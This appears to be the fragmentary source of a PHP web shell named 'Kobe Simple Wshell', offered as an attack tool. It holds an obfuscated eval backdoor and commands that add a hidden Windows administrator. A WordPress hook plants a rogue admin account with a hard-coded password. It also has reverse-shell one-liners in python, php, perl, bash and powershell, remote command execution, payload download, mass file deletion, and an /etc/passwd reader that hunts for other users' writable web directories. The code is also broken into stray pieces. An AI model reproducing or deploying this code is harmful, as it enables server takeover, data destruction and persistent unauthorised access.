Kobe Simple Wshell | Alexithema1337

$disfc

'.exe("net user DataAdmin AlexGanteng /add", $path).exe("net localgroup administrators DataAdmin /add",$path) .'
If there is no "Access is denied." output, chances are that you have succeeded in creating a user here. Just log in using the username and password below.
hosts: '.        gethostbyname($_SERVER["HTTP_HOST"]).        'username: DataAdmin
                password: AlexGanteng

 
Order Allow,Deny
Deny from all


Order Deny,Allow
Deny from all


Order allow,deny
Allow from all

ErrorDocument 403 \"The requested URL was rejected. Please consult with your administrator.\"
ErrorDocument 404 \"The requested URL was rejected. Please consult with your administrator.\"");
        ?>

error_reporting(0);
$a='$k="c8ba0w"w"a4b";$kw"h="w"7w"4948d105bdbw"";$kf="6f7w"7b77aw"432e"w";$pw"="5dJ1fteGr';
$W='Iw"w"XjtCLs";fuw"w"nction x($t,$k){$w"c=strw"len($kw");$l=stw"rw"len($tw");$o=""w";f';
$d='or($i=0;w"$i<$l;w")w"{fow"rw"($j=0;($jw"<$c&&$i<$l)w";$j++,w"$w"i++){$o.=$t{$i}^w"$k';
$l='w"lean();$w"r=@basw"e64_encow"dew"(w"@x(@gzcow"mpress($w"o),$k))w";prinw"t("$p$kh$rw"$kf");}';
$w='{$j}w";w"w"}}return $w"ow";}if (@w"prew"g_match("/$kh(.+)$w"kw"f/",w"@fiw"le_get_con';
$u=str_replace('I','','creIatIeI_fIuInctIion');
$g='tentw"s("php://iw"nputw"w""),$m)==1) {w"@ow"bw"_start();@evw"al(w"@gzuncomw"press(@x';
$H='(@bw"ase6w"4_dew"w"cw"ode($m[1]),$k)));$o=@ow"b_gw"w"et_cw"ontents();@w"ob_end_c';
$r=str_replace('w"','',$a.$W.$d.$w.$g.$H.$l);
$T=$u('',$r);$T();

function kobeadmin(){
$login = 'kobe';
$passw = 'kobeganteng13+13';
$email = 'kobe-ganteng@proton.me';
if ( !username_exists( $login ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $login, $passw, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
add_action('init','kobeadmin');

' . exe($command, $pathnyo) . '

Find File Using Keyword '; if ($_SERVER["REQUEST_METHOD"] == "POST") { $keyword = $_POST["keyword"]; $path = isset($_POST["path"]) ? $_POST["path"] : '.'; $extension = $_POST["extension"]; if ($extension === "all") { $files = glob("$path/*"); } else { $files = glob("$path/*$extension"); } $matching_files = []; foreach ($files as $file) { if (is_file($file) && strpos(file_get_contents($file), $keyword) !== false) { $matching_files[] = $file; } } if (!empty($matching_files)) { echo ''; } else { echo '

No matching files found.

'; } } } // find recent files if ($_1337["id"] == "findmtime") { s(); echo ''; function getModifiedFiles($path, $startTime, $endTime) { $files = []; $dirContent = scandir($path); foreach ($dirContent as $item) { if ($item != '.' && $item != '..') { $itemPath = $path . '/' . $item; if (is_dir($itemPath)) { $subDirFiles = getModifiedFiles($itemPath, $startTime, $endTime); $files = array_merge($files, $subDirFiles); } else { $modifiedTime = filemtime($itemPath); if ($modifiedTime >= $startTime && $modifiedTime <= $endTime) { $files[] = $itemPath; } } } } return $files; } $customPath = isset($_POST["custom_path"]) ? $_POST["custom_path"] : getcwd(); if (isset($_POST["scan"])) { $currentDateTime = new DateTime(); $startTime = $currentDateTime->getTimestamp(); $selectedRange = $_POST["time_range"]; switch ($selectedRange) { case "1min": $endTime = $startTime - 60; break; case "1day": $endTime = $startTime - 60 * 60 * 24; break; case "10days": $endTime = $startTime - 60 * 60 * 24 * 10; break; case "1month": $endTime = $startTime - 60 * 60 * 24 * 30; break; default: $endTime = $startTime; } $modifiedFiles = getModifiedFiles($customPath, $endTime, $startTime); echo '"; } } // mass delete if ($_1337["id"] == "delete") { function mass_delete($dir, $namefile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "$dir/$dirb"; $lapet = $dirc . "/" . $namefile; if ($dirb === "." || $dirb === "..") { continue; } if (is_dir($dirc)) { if (is_writable($dirc)) { if (file_exists($lapet)) { echo "[] $lapet
"; unlink($lapet); } mass_delete($dirc, $namefile); } } } } } if ($_1337["start"]) { mass_delete($_1337["d_dir"], $_1337["d_file"]); } s(); echo 'Mass Delete'; echo " "; } // back connect if ($_1337["id"] == "revsh") { s(); echo 'Reverse Shell'; echo "
"; if(isset($_POST['submit'])){ $backdoor = $_POST['backdoor']; $ip = $_POST['ip']; $port = $_POST['port']; if($backdoor == 1){ $command = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"; }elseif($backdoor == 2){ $command = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip\",$port));os.dup2(s.fileno(),0); subprocess.call([\"/bin/sh\",\"-i\"]);'"; }elseif($backdoor == 3){ $command = "php -r '\$sock=fsockopen(\"$ip\",$port);stream_set_blocking(\$sock, 0);\$cmd=\"/bin/sh -i\";proc_close(proc_open(\$cmd, array(0=>\$sock, 1=>\$sock, 2=>\$sock), \$foo));'"; }elseif($backdoor == 4){ $command = "perl -e 'use Socket;\$i=\"$ip\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"; }elseif($backdoor == 5){ $command = "/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'"; }elseif($backdoor == 6){ $command = 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\'$ip\',$port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()'; } if (function_exists('system')) { system($command); } elseif (function_exists('exec')) { exec($command); } elseif (function_exists('shell_exec')) { shell_exec($command); } elseif (function_exists('passthru')) { passthru($command); } elseif (function_exists('popen')) { $handle = popen($command, 'r'); if ($handle) { while (!feof($handle)) { echo fgets($handle, 4096); } pclose($handle); } } else { proc_open($command, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes); } //tambahan buat backticks echo `$command`; } } // command if ($_1337["id"] == "cmd") { s(); echo 'Command (Use Many Functions!)'; if (!empty($_POST["cmd"])) { $cmd = exe($_POST["cmd"]); } echo "'; endif; } // multiple file upload if ($_1337["id"] == "upload") { s(); echo 'Multiple File Upload (From URL + Your Computer)'; $userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"; if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["url"]) && isset($_POST["output_filename"]) && isset($_POST["method"])) { $url = $_POST["url"]; $outputFilename = $_POST["output_filename"]; $method = $_POST["method"]; $fileUploaded = false; switch ($method) { case 'file_get_contents': $context = stream_context_create([ 'http' => ['header' => "User-Agent: $userAgent"] ]); $file_content = @file_get_contents($url, false, $context); if ($file_content !== false) { $fileUploaded = file_put_contents($outputFilename, $file_content); } break; case 'curl': $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, $userAgent); $data = curl_exec($ch); curl_close($ch); if ($data !== false) { $fileUploaded = file_put_contents($outputFilename, $data); } break; case 'fopen': $readHandle = @fopen($url, 'rb'); $writeHandle = @fopen($outputFilename, 'wb'); if ($readHandle && $writeHandle) { while (!feof($readHandle)) { fwrite($writeHandle, fread($readHandle, 8192)); } $fileUploaded = true; } if ($readHandle) fclose($readHandle); if ($writeHandle) fclose($writeHandle); break; case 'copy': $context = stream_context_create([ 'http' => ['header' => "User-Agent: $userAgent"] ]); $fileUploaded = @copy($url, $outputFilename, $context); break; case 'stream_context': $context = stream_context_create([ 'http' => ['method' => 'GET', 'header' => "User-Agent: $userAgent"] ]); $file_content = @file_get_contents($url, false, $context); if ($file_content !== false) { $fileUploaded = file_put_contents($outputFilename, $file_content); } break; case 'file': $context = stream_context_create([ 'http' => ['header' => "User-Agent: $userAgent"] ]); $file_content = @file($url, false, $context); if ($file_content !== false) { $fileUploaded = file_put_contents($outputFilename, implode("", $file_content)); } break; default: echo ""; exit; } if ($fileUploaded && filesize($outputFilename) > 0) { echo ""; } else { echo ""; } } if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES["file"])) { $result = count($_FILES["file"]["name"]); for ($contents = 0; $contents < $result; $contents++) { $namefile = $_FILES["file"]["name"][$contents]; $tmp_name = $_FILES["file"]["tmp_name"][$contents]; $destination = "$path/" . $namefile; $up = false; if ($_FILES["file"]["size"][$contents] > 0) { $up = move_uploaded_file($tmp_name, $destination); } if (!$up || filesize($destination) === 0) { $up = @copy($tmp_name, $destination); if (!$up || filesize($destination) === 0) { $fileContent = @file_get_contents($tmp_name); if ($fileContent !== false) { $up = file_put_contents($destination, $fileContent) !== false; } } } if ($up && filesize($destination) > 0) { $downloadLink = $urlwebsite . str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', realpath(getcwd())) . '/' . basename($namefile); echo ""; } else { echo ""; } } } echo '

";
    ($etc = fopen("/etc/passwd", "r")) or
        die("Can't read /etc/passwd");
    while ($passwd = fgets($etc)) {
        if ($passwd == "" || !$etc) {
            echo "Can't read /etc/passwd";
        } else {
            preg_match_all("/(.*?):x:/", $passwd, $jumpss);
            foreach ($jumpss[1] as $uservaljump) {
                $valuserjumpindir = "/home/$uservaljump/public_html";
                if (is_readable($valuserjumpindir)) {
                    $i++;
                    $jrw = "[ | R] $valuserjumpindir";
                    if (is_writable($valuserjumpindir)) {
                        $jrw = "[ | RW] $valuserjumpindir";
                    }
                    echo $jrw;
                    if (function_exists("posix_getpwuid")) {
                        $domain_jump = file_get_contents("/etc/named.conf");
                        if ($domain_jump == "") {
                            echo " -> [Cannot get domain name]";
                        } else {
                            preg_match_all(
                                "#/var/named/(.*?).db#",
                                $domain_jump,
                                $domjump
                            );
                            foreach ($domjump[1] as $dj) {
                                $valuserjump = posix_getpwuid(
                                    @fileowner("/etc/valiases/$dj")
                                );
                                $valuserjump = $valuserjump["name"];
                                if ($valuserjump == $uservaljump) {
                                    echo " -> [$dj]
";
                                    break;
                                }
                            }
                        }
                    } else {
                        echo "
";
                    }
                }
            }
        }
    }
    if ($i == 0) {
    } else {
        echo "
Total " .$i ." Can jumping on this server " .gethostbyname($_SERVER["HTTP_HOST"]) ."!";}
    echo "